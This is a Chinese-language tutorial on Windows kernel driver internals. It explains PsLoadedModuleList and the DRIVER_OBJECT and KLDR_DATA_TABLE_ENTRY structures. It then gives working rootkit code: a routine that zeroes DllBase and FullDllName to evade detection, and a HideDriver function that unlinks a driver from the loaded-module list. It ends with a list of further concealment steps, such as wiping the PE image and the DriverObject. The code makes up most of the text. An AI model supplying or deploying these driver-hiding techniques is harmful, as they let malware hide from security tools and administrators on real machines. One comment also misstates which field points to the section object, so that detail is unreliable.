PsLoadedModuleList是Windows加载的所有内核模块构成的链表的表头,利用它可以枚举所有这些模块的信息,下面是WRK中对PsLoadedModuleList的定义:LIST_ENTRY PsLoadedModuleList;
内核在加载驱动时,会为每一个驱动创建一个驱动对象(DRIVER_OBJECT),下面是驱动对象的数据结构:
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORTSize;
PDEVICE_OBJECT DeviceObject; //指向设备对象,所有的设备对象构成一个链表
ULONGFlags; //驱动程序标志
PVOIDDriverStart; //驱动程序映像起始地址
ULONGDriverSize; //驱动程序映像大小
PVOIDDriverSection; //指向驱动程序映像的内存区对象
PDRIVER_EXTENSIONDriverExtension; //指向驱动程序对象的扩展部分
UNICODE_STRINGDriverName; //驱动程序名称
PUNICODE_STRINGHardwareDatabase; //指向注册表中包含硬件信息的路径
PFAST_IO_DISPATCHFastIoDispatch; //指向快速I/O的分发结构
PDRIVER_INITIALIZE DriverInit; //驱动程序的初始化例程
PDRIVER_STARTIO DriverStartIo; //驱动程序的启动I/O例程
PDRIVER_UNLOADDriverUnload; //驱动程序的卸载例程
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
DRIVER_OBJECT对象的DriverExtension成员指向的是驱动程序映像的内存区对象,它的结构KLDR_DATA_TABLE_ENTRY的定义是:
typedef struct_KLDR_DATA_TABLE_ENTRY {
LIST_ENTRYInLoadOrderLinks;
PVOIDExceptionTable;
ULONG ExceptionTableSize;
PVOIDGpValue;
PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;
PVOID DllBase; //指明了驱动的加载基址
PVOID EntryPoint;
ULONGSizeOfImage;
UNICODE_STRING FullDllName; //指明了驱动模块文件的全路径
UNICODE_STRING BaseDllName; //指明了驱动模块的名称
ULONGFlags;
USHORTLoadCount;
USHORT__Unused5;
PVOIDSectionPointer;
ULONGCheckSum;
PVOID LoadedImports;
PVOIDPatchInformation;
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
这个结构体中的第一个成员InLoadOrderLinks是一个LIST_ENTRY的结构. 每个驱动模块都被加入到这个双向链表中.我们只要遍历这个双向链表就能枚举出所有的驱动模块,下面的DbgObjGetSysModuleInfo函数可以遍历内核所有的驱动模块:
NTSTATUS DbgObjGetSysModuleInfo(PDRIVER_OBJECTlpDriverObject)
{
PKLDR_DATA_TABLE_ENTRY ModuleEntry =NULL;
PLIST_ENTRY PsLoadedModuleList =NULL;
PLIST_ENTRY ListEntry =NULL;
PKLDR_DATA_TABLE_ENTRY ldr = (PKLDR_DATA_TABLE_ENTRY)lpDriverObject->DriverSection;
//系统模块链表的链表头
PsLoadedModuleList =ldr->InLoadOrderLinks.Flink;
ListEntry =PsLoadedModuleList->Flink;
while (ListEntry != PsLoadedModuleList)
{
ModuleEntry =CONTAINING_RECORD(ListEntry,KLDR_DATA_TABLE_ENTRY,InLoadOrderLinks);
if (&ModuleEntry->BaseDllName.Buffer != 0){
DbgPrint("Nt Module Fileis %wZ\n",&ModuleEntry->BaseDllName);
}
//指向下一个链表
ListEntry =ListEntry->Flink;
}
returnSTATUS_SUCCESS;
}
下面的代码是将驱动的内存区对象的DllBase或FullDllName.buffer填为0,它可以简单地绕过一些检测:
PVOID pDllBase =NULL;
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = pDllBase;
KdPrint(("Ddvp-> Call DriverUnload \n"));
return;
}
VOID Reinitialize(PDRIVER_OBJECTDriverObject,PVOID Context,ULONGCount)
{
((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase = NULL;//将DllBase填0
}
NTSTATUS DriverEntry(INPDRIVER_OBJECT DriverObject,INPUNICODE_STRINGRegPath)
{
NTSTATUSStatus =STATUS_SUCCESS;
pDllBase = ((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->DllBase;
IoRegisterDriverReinitialization(DriverObject,Reinitialize,NULL);
((PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection)->FullDllName.Buffer = NULL; //将FullDllName.Buffer填0
DriverObject->DriverUnload = &DriverUnload;
return STATUS_SUCCESS;
}
注:不能直接修改DllBase的值,否则会蓝屏。必须使用函数IoRegisterDriverReinitialization的回调函数来修改,下面是该函数的声明:
VOID
IoRegisterDriverReinitialization(
INPDRIVER_OBJECT DriverObject, //指向驱动的驱动对象
INPDRIVER_REINITIALIZE DriverReinitializationRoutine, //被调用的重初始化例程的地址
INPVOID Context //指向传递给驱动程序的初始化例程上下文指针
)
如果要隐藏某个驱动,就要将它从PsLoadedModuleList这个双向链表中去掉。
下图是修改前Flink和Blink指针的指向情况
下图是修改后Flink和Blink指针的指向情况
下面的函数通过修改双向链表来实现驱动的隐藏。
VOID HideDriver(IN PDRIVER_OBJECT pDriverObject)
{
PLIST_ENTRY entry = &((PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection)->InLoadOrderLinks;
PKLDR_DATA_TABLE_ENTRYModuleEntry =CONTAINING_RECORD(entry,KLDR_DATA_TABLE_ENTRY,InLoadOrderLinks);
KdPrint(("隐藏驱动 %ws 成功!\n", ModuleEntry->BaseDllName.Buffer));
//通过RemoveEntryList函数修改链表的指针
RemoveEntryList(entry);
entry->Flink = entry;
entry->Blink = entry;
}
在Xuetr中还是可以检测出来
如果想要隐藏的更隐蔽,还要从以下几个方面进行处理:
一、从PsLoadedModuleList链表中断开,此方法仅对ZwQuerySystemInformation(SystemModuleInformation)有效
二、从\Driver对象目录删除
三、从TypeList中删除
四、抹PE镜像
五、抹DriverObject